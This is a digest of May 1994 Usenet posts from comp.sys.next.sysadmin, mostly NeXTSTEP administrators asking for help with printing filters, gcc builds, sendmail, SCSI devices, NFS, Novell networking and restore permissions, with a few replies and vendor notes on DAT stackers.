(I'll try not to make this sound like a sales pitch)
We have several models which we ship with several different brands of
drives (Archive, Sony, WangDAT, HP, etc...)
In general, there are two kinds (or modes), one being sequential, and the
other being random access.
Sequential means that the host (computer) has no control over the autochanger
and once a cassette is ejected the stacker moves the next tape into the drive.
In Random access, the stacker is controled from the host via the SCSI bus
or RS-232.
We have a sequential stacker called "DAT Stacker(tm)" with an "8-pak" of
cassettes (which has random access via rs-232), a Random access stacker
called the "Libra8" and "Libra16" which hold 8 and 16 cassettes, and also
have to ability to operate in sequential mode. The stacker is controlled
via the SCSI bus.
If anybody has any specific questions, send me e-mail..
Thanks..
je
--
Justin England -- england@netcom.com
Diverse Logistics Inc. Europe: Dilog S.A.
2862 McGaw 16 Route de Boudry
Irvine, CA 92714 CH2016 Cortaillod
714-476-7171 Switzerland
"The Pioneers in 4mm Autoloaders!" +41 (38) 42-44-54
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: PS Filter for lpd? Anyone have one?
Date: 10 May 1994 22:35:43 GMT
Organization: University of Houston
Message-ID: <2qp27v$nfl@masala.cc.uh.edu>
We need a filter that will not print any PostScript (anything that starts
with "%!") and we figured that it was pretty straightforward. This "test"
code works exactly as expected when part of a standard pipe:
cat <some_file.ps> | outfilter
cat test.log | ./outfilter
invoking output filter
This is the first char 37
This is the second char 33
POSTSCRIPT FILE!!!
generates the proper results. However, when it is used as a lpd filter
(of=/<path>/outfilter) it returns the following:
invoking output filter
This is the first char -1
Found EOF in char #1 = -1
Here is our "test" filter. Yes, it is basic, but it should work but it
doesn't. Does lpd pass some garbage to stdin which causes an EOF?
#include <stdio.h>
int main()
{
int c,d,flag,i;
fprintf(stderr,"invoking output filter\n");
c = getc(stdin);
fprintf(stderr,"This is the first char %i \n",c);
if (c == EOF) {
fprintf(stderr,"Found EOF in char #1 = %i \n",c);
return (0); }
d = getc(stdin);
fprintf(stderr,"This is the second char %i \n",d);
if (d == EOF) {
fprintf(stderr,"Found EOF in char #2 = %i \n",d);
return (0); }
if ((c==37) && (d==33)) {
fprintf(stderr,"POSTSCRIPT FILE!!!\n");
return (1);}
putchar(c); putchar(d);
while ((c = getc(stdin)) != EOF)
putchar(toupper(c));
fprintf(stderr,"Finsished with filter\n");
return (0);
}
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
From: pln@egret0.Stanford.EDU (Patrick L. Nolan)
Newsgroups: comp.soft-sys.nextstep,gnu.gcc.help,comp.sys.next.sysadmin
Subject: Can't compile gcc on NeXT (Intel)
Date: 10 May 1994 22:33:26 GMT
Organization: Stanford University
Distribution: inet
Message-ID: <2qp23m$qvl@nntp2.Stanford.EDU>
I'm trying to compile gcc version 2.5.8 on Nextstep 3.2 on an Intel
486 machine. The compilation just can't complete without a system
panic, lockup, bus error, or internal compiler error. Lately they
have been happening pretty regularly in the early stages of the
stage 2 compilation, so I haven't been making any progress.
The errors are not the same each time.
Last week I was able to compile the whole thing with only 4 or 5
machine crashes, but then the disk got corrupted and I had to start
over.
The project for which this machine was bought requires a c++ compiler.
Does anyone know how I might be able to get things running reliably?
More hardware details: VL bus, 32 MB of memory, DPT 2022 SCSI
controller, ATI video, Seagate 1 GB disk, DX-2/66 CPU.
--
* Patrick L. Nolan (415)723-0133 *
* W. W. Hansen Experimental Physics Laboratory (HEPL) *
* Stanford University *
* Bitnet: PLN@SLACVM Internet: pln@egret0.stanford.edu *
Newsgroups: comp.sys.next.sysadmin
From: yoo@netcom.com (Young-Kyu Yoo)
Subject: Help needed using rcp
Message-ID: <yooCpM0AJ.C8E@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Tue, 10 May 1994 23:08:42 GMT
I am trying copy files from one unix (NeXTSTEP) system to several remote
unix (NeXTSTEP) systems using the rcp command. The same user name is
involved on all of the machines. However, I am getting a
"Permission Denied" message. How do I ensure the permissions will be
okay for rcp?
Please reply via e-mail.
Thanks,
Young-Kyu
yoo@netcom.com
From: stephens@access.digex.net (John Stephens)
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
Subject: Re: DAT Stackers
Date: 10 May 1994 22:28:14 -0400
Organization: Severn Companies, Inc., Lanham, MD 20706
Message-ID: <2qpfru$6ts@access3.digex.net>
References: <2q6ffb$dd@panix.com> <2q93kv$v2d@inca.gate.net> <2qav34$crl@nwfocus.wa.com> <2qo8qu$6mk@reznor.larc.nasa.gov>
In article <2qo8qu$6mk@reznor.larc.nasa.gov>,
Scott Dorsey <kludge@grissom.larc.nasa.gov> wrote:
|> In article <2qav34$crl@nwfocus.wa.com> kanefsky@halcyon.halcyon.com (Steve Kanefsky) writes:
|> >
|> >Can anyone compare the Archive DDS-2 drive with the HP (or the Sony)? My
|> >favorite drive vendor is only selling the Archive right now, and I want to
|> >know if it's worth going out of my way for the Sony or the HP.
|>
|> I have been impressed with the HP drives, but I'd like to know if anyone
|> is manufacturing a stacker using them at this point. I rather like the
|> look of the Exabyte 4mm stacker which isn't yet available, but I'd rather
|> not deal with the bugs of a brand new product. (Does anyone have any
|> suggestions at all as far as DAT stackers go?)
|> --scott
|> --
|> "C'est un Nagra. C'est suisse, et tres, tres precis."
There is a new company, Soltronics, that is manufacturing both 8mm
and 4mm stackers. HP is one of the 4mm drives that they have
"certified" for the unit.
I have never seen one of their new stackers, but have an old model
in house as a test unit ( not yet had time to set it up and try it
out). If you are interested in more info, please reply by email.
Also, Spectra Logics, a division of Western Automation, Boulder,
CO, now makes a 4mm library to complement their existing 8mm
carousels. Again, for further info, please email.
******************************************************************
* *
* John S. Stephens *
* Chief Scientist (301)-794-9680 *
* Seven Companies, Inc. (301)-459-3272 (fax) *
* 9701-S Philadelphia Ct. stephens@access.digex.net (email) *
* Lanham, MD 20706 *
* *
******************************************************************
Newsgroups: comp.sys.next.sysadmin
From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: can't login on server, but on client
Message-ID: <1994May10.235617.19835@vlsi.polymtl.ca>
Summary: can't login on server, but on client after a dump restore proc.
Keywords: LOGIN DUMP SERVER
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
Date: Tue, 10 May 1994 23:56:17 GMT
After a dump (pipe) restore from a original hard disk to a bigger hard disk,
My network users can not login anymore on the server but can on the other
machine...
(I can login as root but it is a local user)
What can I do to restore the correct setting?
--
jmh
jean-marc heneman = jmh@info.polymtl.ca
if mail bounces, try jmh@aircanada.ca
I prefer ASCII mail for now, but you can send me NextMail for attachment
__
/ /_/
__/ / /
From: burton@het.brown.edu (Joshua W. Burton)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: No Recycler on disk, Black HW
Date: 11 May 1994 04:40:51 GMT
Organization: Brown University
Message-ID: <2qpnkj$oo5@cat.cis.Brown.EDU>
References: <jscogginCpKGFJ.n34@netcom.com>
Jerry Scoggins and EPS write:
>>>They each have a .NextTrash directory, permissions are 755 on each.
>>That's your problem. They need to be 1777 (the only way 755
>>could work would be if the disk were automounted with file
>>ownerships disregarded).
>I tried that (setting the sticky bit), but it didn't make any
>difference. When I do a ls -lag for each it shows drwxr-xr-x
>for each of the .NextTrash directories.
drwxr-xr-x != 1777. Try again....
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Q: making machine single user boot again
Message-ID: <1994May10.223614.4750@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <1994May9.174740.19781@news.yale.edu>
Date: Tue, 10 May 1994 22:36:14 GMT
In article <1994May9.174740.19781@news.yale.edu> anand@denys.yale.edu
(Anand R. Mehta) writes:
> Hi there.
>
> When I first got my NeXTstation (Turbo, 3.1) I had to put a
> password on the "me" account to force it to boot to the login
> panel. Now I would like it to boot straight to the
> workspace. I have tried removing the password, but that
> still doesn't work.
Use NetInfoManager to remove the value entirely. A blank password entry
isn't enough.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: michael@cogito.iaee.tuwien.ac.at (Michael Suessner)
Newsgroups: comp.sys.next.sysadmin
Subject: Adpatec 1542 with IDE boot disk conf
Date: 11 May 1994 07:30:11 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2qq1i3$30d@email.tuwien.ac.at>
Summary: HBA configuration?
Keywords: Adaptec,IDE
Hi
I have an Adaptec 1542CF Host SCSI Adaptor and a internal IDE boot disk(500MB). I have also 3 SCSI devices
(internal: 70MB HD targetID 4
105 MB Syquest removeable targetID 6
external: 1.2GB Quantum target ID 5)
I would like to know, if somebody else out there uses also an IDE and HBA, and how he/she has configured
the Adaptec card.
I am using the following setup:
System boot:Disabled
Extended BIOS: Enabled
Support remove:Disabled
Dynamically Scan: Enabled
BIOS Support for more than 2:Disabled
Immediate Return...:Enabled
I have a problem with more than 2 disks.
Thanks for the help
Suessner Michael
--
Arbeitsgruppe Neuronale Elektronik
Institut fuer Allgemeine Elektrotechnik und Elektronik
Vienna Technical University
Tel.: Austria-(0)222-58801-3754
E-MAIL: michael@rs2.iaee.tuwien.ac.at
NeXTmail: michael@cogito.iaee.tuwien.ac.at
Newsgroups: comp.sys.next.sysadmin
From: (Albatross)
Subject: Sendmail.cf for NeXT's
Message-ID: <CpMnq0.8wo@haquer.uucp>
Keywords: sendmail mail uucp rmail
Sender: alby@haquer.uucp (Albatross)
Organization: The Empire Organization {TEO}
Date: Wed, 11 May 1994 07:34:46 GMT
If anybody could post a sendmail.cf file the NeXT that
would be wonderful. One with sendmail using UUCP and the other via
SMTP.. I am running tests and making configs for both types running
under Sendmail 8.6.9
-Alby
From: stoeri@eapds5.tuwien.ac.at (Herbert Stoeri)
Newsgroups: comp.soft-sys.nextstep,gnu.gcc.help,comp.sys.next.sysadmin
Subject: Re: Can't compile gcc on NeXT (Intel)
Date: 11 May 1994 11:45:44 GMT
Organization: Technical University of Vienna
Distribution: inet
Message-ID: <2qqgh8$dj4@email.tuwien.ac.at>
References: <2qp23m$qvl@nntp2.Stanford.EDU>
In article <2qp23m$qvl@nntp2.Stanford.EDU>, pln@egret0.Stanford.EDU (Patrick L. Nolan) writes:
|> I'm trying to compile gcc version 2.5.8 on Nextstep 3.2 on an Intel
|> 486 machine. The compilation just can't complete without a system
|> panic, lockup, bus error, or internal compiler error. Lately they
|> have been happening pretty regularly in the early stages of the
|> stage 2 compilation, so I haven't been making any progress.
|> The errors are not the same each time.
|>
|> Last week I was able to compile the whole thing with only 4 or 5
|> machine crashes, but then the disk got corrupted and I had to start
|> over.
|>
|> The project for which this machine was bought requires a c++ compiler.
|> Does anyone know how I might be able to get things running reliably?
|>
|> More hardware details: VL bus, 32 MB of memory, DPT 2022 SCSI
|> controller, ATI video, Seagate 1 GB disk, DX-2/66 CPU.
|>
|> --
|> * Patrick L. Nolan (415)723-0133 *
|> * W. W. Hansen Experimental Physics Laboratory (HEPL) *
|> * Stanford University *
|> * Bitnet: PLN@SLACVM Internet: pln@egret0.stanford.edu *
We compiled gcc and several other gnu-tools on a nextstep 3.2 on an Intel
processor. even though minor changes were necessary in the sources, we did not
experience anything like you do. I would think about a hardware problem.
We have however different problems with nexestep on a noname hardware. after some
warmup th mouse does not work. I suppose, there are suttle timing problems, which
dont matter, if you use the hardware with MSDOS i.e. in 16 bit mode.
If you need the binaries or the changes necessary, I have to find the student,
that dit it.
Herbert Stoeri
Newsgroups: comp.sys.next.sysadmin
From: Brent Sessions <sessions@nih.gov>
Subject: Sendmail versions
Message-ID: <1994May11.133629.6259@alw.nih.gov>
Sender: postman@alw.nih.gov (AMDS Postmaster)
Organization: NIAID/National Institutes of Health
Date: Wed, 11 May 1994 13:36:29 GMT
I am running Sendmail NX5.67c/NX3.0S. I was just wondering how this
corresponds to other
versions of Sendmail (like for BSD). Are there upgrades available? I
could recompile a new
Sendmail but I'm looking for something for the NeXT.
I have black hardware, NeXTDimension, Mach 3.0.
Brent Sessions
Systems Support
National Institute of Allergies and Infectious Diseases
National Institutes of Health
Bethesda, MD USA
sessions@nih.gov
From: jmitchell@nssdca.gsfc.nasa.gov (Jonathan Mitchell)
Newsgroups: comp.sys.next.sysadmin
Subject: SCSI timeout problem (black)
Date: 11 May 1994 09:49 EDT
Organization: NASA - Goddard Space Flight Center
Distribution: world
Message-ID: <11MAY199409493336@nssdca.gsfc.nasa.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
News-Software: VAX/VMS VNEWS 1.41
I am having problems with attaching 3 external SCSI devices to my
NeXTstation mono. I have an external Fujitsu 660MB drive and the internal
Quatum 100MB drive. I am running 3.2.
I finally bought a CD-ROM drive to update to 3.2 (NEC Multi-Spin). I also
decided to pick up a SyQuest 270MB removable cartridge drive for backups.
If I have the Fujitsu and either the CD-ROM or the Syquest drive connected,
everything works fine. The problem is when I connect all three devices.
The machine locks for 1 minute and the following appears on the console:
sd1 (1,0): SCSI timer: timeout op:0x2a sd_state:7 SCSI status:0x0
This is the internal Quantum drive timing out. I use the internal drive
for swapping (defined in swaptab). Things return to normal until some
random amount of time passes and the locking repeats.
I wonder if I am running into a problem where my cables are too long when
I connect all three devices. I am using 3 foot cables between the devices
'cause I though the max length was 10 feet. What is the max length of
SCSI cabling? Is the locking problem consistant with a cabling length
being too long?
Another nearly related question: I notice that when I boot, I get 4
Generic SCSI Devices at sc0 -- no matter how many devices I have on the
SCSI chain. Is this normal? I did not notice this when booting with 2.1.
Thanks!
-- Jon
Boot messages:
Sony MPX-111N as fd0 at fc0 slave 0
SCSI 53C90A Controller, Target 7, as sc0 at 0x2114000
FUJITSU M22635-1024: Rev 0194 as sd0 at sc0 target 0 lun 0
Disk Label: Disk
Disk Capacity 674MB, Device Block 1024 bytes
QUANTUM LP105S 910109405 Rev as sd1 at sc0 target 1 lun 0
Disk Label: Swap
Disk Capacity 100MB, Device Block 512 bytes
NEC CD-ROM DRIVE: 841 Rev as sd2 at sc0 target 5 lun 0
SyQuest SQ3270S Rev 1_13 as sd3 at sc0 target 6 lun 0
Generic SCSI Device as sg0 at sc0 target 7 lun 7
Generic SCSI Device as sg1 at sc0 target 7 lun 7
Generic SCSI Device as sg2 at sc0 target 7 lun 7
Generic SCSI Device as sg3 at sc0 target 7 lun 7
-----
Jon Mitchell HSTX/NSSDC jmitchell@nssdca.gsfc.nasa.gov (301) 441-4325
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sendmail.cf for NeXT's
Date: 11 May 1994 12:19:53 GMT
Organization: me organized? That's a joke!
Message-ID: <ROBERT.94May11131953@steffi.demon.co.uk>
References: <CpMnq0.8wo@haquer.uucp>
To: (Albatross)
In-reply-to: 's message of Wed, 11 May 1994 07:34:46 GMT
If you have control over what you use. Consider smail 3.28... it's a
hell of lot simplier to set up and manage and fits in quite nicely
with NeXTSTEP.
Assuming you don't need _custom_ address rewriting smail is the easier
solution.
--
"Emacs isn't pretty. It's functional!"
(ASCII for text only messages)
Newsgroups: comp.sys.next.sysadmin
From: david@smobject.com (David Vazquez)
Subject: Re: sendmail problem
Message-ID: <1994May11.140011.1054@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: SmartObject Technologies, Inc.
References: <1994May3.135246.9456@cs.uno.edu> <2qbvh0$2j9@cthulu.UU.NET>
Date: Wed, 11 May 1994 14:00:11 GMT
Anthony Williams (alby@uunet.uu.net) wrote:
: In article <1994May3.135246.9456@cs.uno.edu>, david@smobject.com (David Vazque
z) writes:
: >When I send mail to user@domain (vs. user@machine.domain) it always bounces.
: >The error reported by NeXT Mail Agent in the returned mail follows:
: >
: >550 uunet.uu.net (ddn)... 550 Host unknown
: >554 <alby@uunet.uu.net>... 550 Host unknown (Valid name but no A or MX record)
: This means that the domain you tried to send mail to was listed
: as a Valid domain with the name server yet it did not list any A
: or MX records for the mail gateway.
E-mail to you bounced (with the error above), so here's my followup:
I checked with nslookup, and uunet.uu.net has a mail exchanger. cs.uno.edu
also has a mail exchanger. I compared the output for one of these domains
with the output for mine (smobject.com), and they only differ in the names
reported for nameserver, mail exchanger, etc. There are no extra records
for smobject.com, so why can people email me with david@smobject.com, but
I must email others with user@machine.domain (replace user, machine, and
domain with valid info, of course)?
Thanks for you reply:
-David Vazquez "david@smobject.com"
From: shathaway@hampshire.edu (Stephen B. Hathaway)
Newsgroups: comp.sys.next.sysadmin
Subject: NS 3.2 Printer Still Dead
Date: 11 May 1994 14:52:39 GMT
Organization: Hampshire College
Message-ID: <shathaway.18.0@hampshire.edu>
We upgraded to NS 3.2(cube), and the printer stopped working. ANyone fixed
this?
I seem to remember something about appletalk support in 3.x? anyone got an
Atalk printer working w/this? Native or using CAP?
Thanks
shathaway@hamp.hampshire.edu or
sbh@scire.hampshire.edu(nextmail)
From: kelly@shogun.nersc.gov
Newsgroups: comp.sys.next.sysadmin
Subject: NFS Cross Mounts
Date: 11 May 1994 15:53:10 GMT
Organization: National Energy Research Supercomputer Center
Distribution: world
Message-ID: <2qqv16$hgf@cronkite.nersc.gov>
Keywords: NFS
I am trying to cross mount a user's Home directories on two different
machines. That is, machine A's Home directory is mounted on Machine B,
under Net, and machine B's Home directory is mounted on Machine A,
under Net. The machines are in two different domains and do not share
a NetInfo database.
The problem is that it only works one way. I have been told by the
network people that there are no routers, or anything else, that is
dumping mount requests from an outside domain. Any suggestions?
--
Bruce Kelly L-561, P O Box 5509, Livermore, CA, 94551
kelly@nersc.gov National Energy Research Supercomputer Center
510-423-0640 Lawrence Livermore National Laboratory
Fax: 510-422-0435 University of California
From: chris@helser54.res.iastate.edu (Chris Wong)
Newsgroups: comp.sys.next.sysadmin
Subject: Can't mount DOS partition. Please HELP.
Date: 11 May 1994 16:32:50 GMT
Organization: Iowa State University, Ames, Iowa
Message-ID: <2qr1bi$g61@news.iastate.edu>
Keywords: DOS, partition, mount
I used to have only NS on my harddrive, then I install MS-DOS in one of
the partition. But, NS doesn't mount the DOS partition when I logged on.
Please help...
Thanks for any help.
Chris
From: jtod@access3.digex.net (John Todd)
Newsgroups: comp.sys.next.sysadmin
Subject: Stupid Fax Tricks, Vol. 1
Date: 11 May 1994 16:54:11 GMT
Organization: Wit's End
Message-ID: <2qr2jj$6og@news1.digex.net>
Summary: Tricks with email and fax
Keywords: Fax, NeXT, email, cream cheese
I've just obtained "fax" ver .22 by Steve Hayman. It's a nifty program
that will fax anything you want from the command line. It even has a
feature called "-S" which takes the fax number from a "Subject:" line if
that line is in the stdin stream.
What I've done is created a line in my /private/etc/sendmail/aliases file
that looks like:
fax_me: "|/usr/local/bin/fax -S"
Now, when I send mail to "fax_me" with a Subject: that is a phone number,
the mail message gets sent (with cover page) to the fax machine at that
number.
Cool, right? Yes, I like it. However, I have a problem. The only way
that this works is if the sender of the message is on the local machine, and
only then if the sender has fax priviliges. I'd like to make ALL mail
coming to that fax_me mailbox get faxed, even though it's coming from
another site entirely. I've peeked around the PrintManager/FAX section,
trying to find how do set an "All Users" flag, but there isn't one. I tried
putting a "P*" in the netinfo: fax_modems/my_fax/users/ directory, but that
doesn't seem to do it. I want *everyone* to be able to use the fax modem.
Any ideas?
--
John Todd -- Sales
Digital Express Group - An Internet Access Provider
Voice: 1-800-969-9090 FAX: 1-301-220-0477
jtodd@digex.net
From: sean@zapotec.math.byu.edu (Sean O. Luke)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: Novell REALLY REALLY SLOW
Date: 11 May 1994 17:45:29 GMT
Organization: Brigham Young University
Message-ID: <2qr5jp$7t4@hamblin.math.byu.edu>
I've noticed to major bugs in NeXTSTEP 3.2, and I'm sure they've
been noticed before on _some_ users' system, so I'm posting to
see if I could get some help.
1) I'm using a Microsoft serial mouse (I know, I know), and an
Intel system (a System E straight _from_ Intel). The Workspace
Manager seems to be having a really bad time with clicking on icons
and drag-and-drop. Namely, double-clicking on an icon freaks it out,
and drag-and-drop no longer work. It might have something to do with
the evil serial mouse driver, but I don't think so.
2) Novell services are SO SLOW AS TO BE UNUSABLE!!!! Contrast this
to my coworkers who have no problem at all accessing the exact same
network at blinding speed in Windows. This is unacceptable. Can anyone
tell me why it would take a full minute to open a directory containing
three files on an underutilized Novell server?
+---------------------------------------------------------+
| Sean Luke This signature no verb |
| sean@digaudio.byu.edu ,,, |
| sean@zapotec.math.byu.edu (o o) ??? in September |
+------------------------oOO--(_)--OOo--------------------+
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From: janna@reliant.bsd.uchicago.edu (& Ore Nugent)
Subject: Problems starting Novell
Message-ID: <1994May11.173521.20154@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago -- Academic Information Technologies
Date: Wed, 11 May 1994 17:35:21 GMT
Has anyone experienced a problem getting Novell services to work on their
NeXT? Specifically, I launch the NetWareManager.app and enable Novell
with no difficulty, but after a reboot I get the message:
NetWare is enabled but not running. It will start when the computer is
rebooted. <OK>
Not surprisingly upon successive reboots I continue to get this message.
In the /usr/adm/messages file, I see:
mach: Netware UNIX Client v3.11
mach: (C) Copyright 1991 Novell Incorporated
mach: All Rights Reserved
mach:
mach: NetWare protocol enabled for interface en0, type "10MB Ethernet"
syslog: npsd: Bind failed: No response from server.
Note that machines on the same subnet but with a different netinfo server
have no difficulty connecting to the Novell server. Note also that this
message - No response from server - shows up without a pause in the
boot-up messages, making me doubt that the NeXT really tried to connect.
Any and all assistance is greatly appreciated,
Janna Ore Nugent
Biological Sciences Division/University of Chicago
-----------------------------------------------------
"Tiger gotta hunt. Bird gotta fly.
Man gotta sit and wonder why, why, why.
Tiger gotta sleep. Bird gotta land.
Man gotta tell himself he understand."
- Kurt Vonnegut Jr.
Newsgroups: comp.sys.next.sysadmin
From: js@euler.hnv.icem.de(Juergen Sell)
Subject: External for an occasional swapdisk?
Message-ID: <CpnDBA.Bn@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
Date: Wed, 11 May 1994 16:47:34 GMT
Hi,
I hope to get a small (100MB) Disk as an external swap-disk soon.
Now I would like to remain a functioning system if the external (swap)drive is not powered up.
I understand I will have to keep the original swapfile on my internal disk. No problem.
First swapfile if external disk is up and running should be the external.
How do I have to set this up?
Second, as kind of insurance, if I manage to get a slightly larger drive, I would like to
configure the external disk as a bootable disk besides being the main swapdisk if running. Is it
correct that
a) this does not normally reduce speed for swapping to it if no other data is accessed on that
disk,
and
b) it works at all?
How to setup this double functionality drive?
I did scan the docs and the FriendlyFAQs but could not find anything appropriate. I expect the
following to be correct, though:
The default boot-device is the one defined in the boot-command - usually bsd(0,0,0). so there
should not be any problem as this remains the same as long as the scsi id of the external is larger
than the scsi id of the internal.
Thanks, Juergen
---
Juergen Sell E-Mail js@icem.de ( NeXTMail ok )
Deisterstr. 18 Fax ++49-511-440617
BRD 30449 Hannover Fon ++49-511-440688
== What time do we live in when all the word 'revolution' makes you think of
== is a new generation of soap powder ?
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
From: wlhealto@kopepc02.delcoelect.com (Bill Healton)
Subject: Re: DAT Stackers
Message-ID: <1994May11.152624.29659@kocrsv01.delcoelect.com>
Sender: news@kocrsv01.delcoelect.com (Usenet News Account)
Organization: Delco Electronics Corporation
References: <2q6ffb$dd@panix.com> <2q93kv$v2d@inca.gate.net> <2qav34$crl@nwfocus.wa.com> <2qo8qu$6mk@reznor.larc.nasa.gov>
Date: Wed, 11 May 1994 15:26:24 GMT
In <2qo8qu$6mk@reznor.larc.nasa.gov>, kludge@grissom.larc.nasa.gov (Scott Dorsey) writes:
>In article <2qav34$crl@nwfocus.wa.com> kanefsky@halcyon.halcyon.com (Steve Kanefsky) writes:
>>
>>Can anyone compare the Archive DDS-2 drive with the HP (or the Sony)? My
>>favorite drive vendor is only selling the Archive right now, and I want to
>>know if it's worth going out of my way for the Sony or the HP.
>
>I have been impressed with the HP drives, but I'd like to know if anyone
>is manufacturing a stacker using them at this point. I rather like the
>look of the Exabyte 4mm stacker which isn't yet available, but I'd rather
>not deal with the bugs of a brand new product. (Does anyone have any
>suggestions at all as far as DAT stackers go?)
>--scott
There are several companies, two that I have received literature from are:
National Peripherals, Inc IEM, Inc.
(708) 325 -4151 (303) 221-3005 (800) 321-4671
There are others, I just had these #'s handy.
================================================================================
|Bill Healton | Any Opinions, requests, advice, or offers are
|Delco Electronics Corp | strictly those of the author and do not
|wlhealto@kopepc02.delcoelect.com| necessary reflect on the company I work for.
From: dbora@ils.nwu.edu (Don Bora)
Newsgroups: comp.sys.next.sysadmin
Subject: Problem with Intel box
Date: 11 May 1994 20:33:17 GMT
Organization: The Institute for the Learning Sciences
Distribution: world
Message-ID: <2qrfed$9j9@anaxagoras.ils.nwu.edu>
References: <768401383snz@weighton.demon.co.uk>
I was working on my friends Intel/ns box this weekend..
it was running a bit slow so I thought I would try and
turn off any network code running (since he is a standalone
at home). I went into the Host Manager and turned off the NIS
stuff, upon doing this HostManager filled a few fields in for
me including the default NeXT ipaddress told me to reboot..
without thinking I pressed enter. I guess I should have
though because the machine rebooted right there and hung
during the boot process starting up the NIS services complaining
it couldn't find /etc/exports... I got throught that prob
by hitting control-c.. but then I come up logged in as root...
no login screen, nothing... When I tried to logout
the machine cycled throught the process it cycles
through when ME doesn't have a password and starts some
net function which does a disk hit every few seconds
slowing the whole system to it's knees. I tried to get back
into HostManager but the app won`t let me in telling me that
it cannot find the NIS Host (or something like that)... Any
slues how I might set this think back to normal?
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
Donald F. Bora | | |
The Institute for the Learning Sciences | | O |
Northwestern University | (--|--)
Evanston, Ill | |
e-mail: dbora@ils.nwu.edu (Not NeXTMail) | / \
work: (708) 467-1972 |
--------Be excellent to each other--------
Newsgroups: comp.sys.next.sysadmin
From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: restore again HELP SOS please
Message-ID: <1994May11.173126.1969@vlsi.polymtl.ca>
Summary: restore does not restore the correct setuid and setgid permission
Keywords: RESTORE BUGS PERMISSIONS
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
Date: Wed, 11 May 1994 17:31:26 GMT
HELP ME :
It seems that restore has a problem about restoring the correct permissions.
I tried to dump and restore a whole fs and all the executables have not
the good permission when we talk about setuid and setgid.
(First : I found that /usr/lib/NextStep/Workspace.app/Workspace was
-rwsr-sr-x before the dump and -rwxr-wr-x after the restore then I worry
about all the other similar executable that must be with the setuid & setgid.
[just try to login in the workspace as a not root user, and you'll find
why you need these permissions])
IS IT ME OR IS IT restore?
WHERE CAN I FIND A PATCH, NEW VERSION OR REPLACEMENT OF restore?
--
jmh
jean-marc heneman = jmh@info.polymtl.ca
if mail bounces, try jmh@aircanada.ca
I prefer ASCII mail for now, but you can send me NextMail for attachment
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__/ / /
Newsgroups: comp.sys.next.sysadmin
From: emstech@music.mcgill.ca (Alain Terriault -- EMS Technician)
Subject: NetInfo on a Indy ?
Message-ID: <1994May11.192806.26010@sifon.cc.mcgill.ca>
Sender: news@sifon.cc.mcgill.ca
Organization: McGill University
Date: Wed, 11 May 1994 19:28:06 GMT
Bonjour,
We have a "NeXT" LAN and I will like to know if their is a way to
make a SGI Indy recognize "NetInfo".
I don't have anything against YP, but for many reasons I will rather make
the Indy understand NetInfo than the other way around.
Thanks
--
Alain Terriault
System Operator
Music Faculty, Mcgill University
Montreal, Canada
Email: emstech@music.mcgill.ca
Newsgroups: comp.sys.next.sysadmin
From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: Re: restore again HELP SOS please
Message-ID: <1994May11.201408.5205@vlsi.polymtl.ca>
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
References: <1994May11.173126.1969@vlsi.polymtl.ca>
Date: Wed, 11 May 1994 20:14:08 GMT
about restore and rrestore
doc 1555 and 1554 on ftp.next.com : I got them!
--
jmh
jean-marc heneman = jmh@info.polymtl.ca
if mail bounces, try jmh@aircanada.ca
I prefer ASCII mail for now, but you can send me NextMail for attachment
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Newsgroups: comp.sys.next.sysadmin
From: deininge@cipher.cen.encompass.com (David Deininger)
Subject: environment variables for apps
Message-ID: <1994May11.221149.15955@glv.cen.encompass.com>
Sender: usenet@glv.cen.encompass.com
Organization: Encompass
Date: Wed, 11 May 1994 22:11:49 GMT
I have an app which calls Sybase db-library functions, and those functions
expect the environment variable SYBASE to be defined. Where can I define
this so that when the app is launched from the WM it can find it? I've
tried .cshrc, .profile, and .login in my home. I must be missing something
obvious...
Thanks, and please reply by email.
--
--David Deininger (deininge@cipher.cen.encompass.com)
From: dekorte@ibm19.scri.fsu.edu (Stephen L. DeKorte)
Newsgroups: comp.sys.next.sysadmin
Subject: Custom Login Window
Date: 12 May 1994 04:54:18 GMT
Organization: Supercomputer Computations Research Institute
Message-ID: <2qscpq$4kq@mailer.fsu.edu>
How can I change the login window with NS3.0?
I know that:
/usr/lib/NextStep/nextlogin.tiff
used to be the thing to change under NS2.x.
But this file doesn't exist in 3.0.
Thanks for any help,
Steve Dekorte
From: mcullen@symantec.com (Michael Cullen)
Newsgroups: comp.sys.next.sysadmin
Subject: Help with printer access
Date: 12 May 1994 04:18:44 GMT
Organization: Symantec/Peter Norton Group
Distribution: world
Message-ID: <2qsan4INN7fg@grumpy.symantec.com>
